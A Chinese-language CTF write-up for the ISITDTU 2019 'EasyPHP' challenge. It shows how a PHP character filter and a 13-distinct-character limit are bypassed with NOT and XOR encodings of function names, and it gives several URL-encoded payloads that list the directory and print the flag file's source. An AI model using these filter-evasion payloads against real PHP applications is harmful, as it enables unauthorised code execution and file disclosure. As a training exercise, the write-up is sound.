无题
[ISITDTU 2019]EasyPHP
正则过滤了从0x00到空格,数字,单引号双引号反引号,$,&,.,字母d、e、f、g、o、p、s以及DEL字符,t第二个if限定只能使用13个不同字符不然就不行
先用取反绕过查看一下phpinfo
?_=(~%8F%97%8F%96%91%99%90)();
这里是禁止的函数,禁止了system和exec,那就没办法直接ls看文件路径了
print_r(scandir(‘.’)); 使用这个语句,继续取反尝试
1 | <?php |
1 | %8F%8D%96%91%8B%A0%8D |
1 | ?_=(~%8f%8d%96%91%8b%a0%8d)(~%8c%9c%9e%91%9b%96%8d)(~%d1); |
发现过第一个没过第二个
与0xff(11111111)进行异或时,任何在该字节中的1会被变成0,而0会被变成1,相当于取反,同时我们还能利用异或减少不同字符的个数
1 | ?_=((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)); |
上面的可替换的字符有
8b,9b,a0,9c,8f,91,9e,d1,96,8d,8c 11个,加上()^%ff;一共是16种不同的字符,超出了限定的13个,利用列内多个字符异或得到我们想要的字符,可以减少使用不同种字符的个数,如下:
1 | 91=9c^96^9b,8b=8c^9c^9b,8d=8f^9c^9e |
print_r:第2,4,5,7位换
1 | (%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff) |
变化的位置三个相互异或后再异或%ff相当于取反,不变化的位置异或三次%ff相当于异或一次
scandir:第4,7位换
1 | (%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff) |
payload:
1 | ?_=((%8f%8f%96%9c%8c%a0%8f)^(%ff%9c%ff%96%9c%ff%9c)^(%ff%9e%ff%9b%9b%ff%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%9c%9b%96%8f)^(%ff%ff%ff%96%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%9e)^(%ff%ff%ff%ff%ff%ff%ff))((%d1^%ff))); |
发现了flag,直接访问会403
用show_source,readfile,readline等,由于flag位于目录最末端采用end方法,按照上述过程进行异或
这里贴一下搜集到的payload:
1 | ?_=((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff))); |
来自https://blog.csdn.net/dalaojiaoweb/article/details/140553968
等价于readline(end(scandir(.)))
1 | ?_=((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF))); |
来自:https://www.nssctf.cn/note/set/1495
1 | ?_=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff))); |
https://blog.csdn.net/mochu7777777/article/details/105786114
等价于show_source(end(scandir(.)));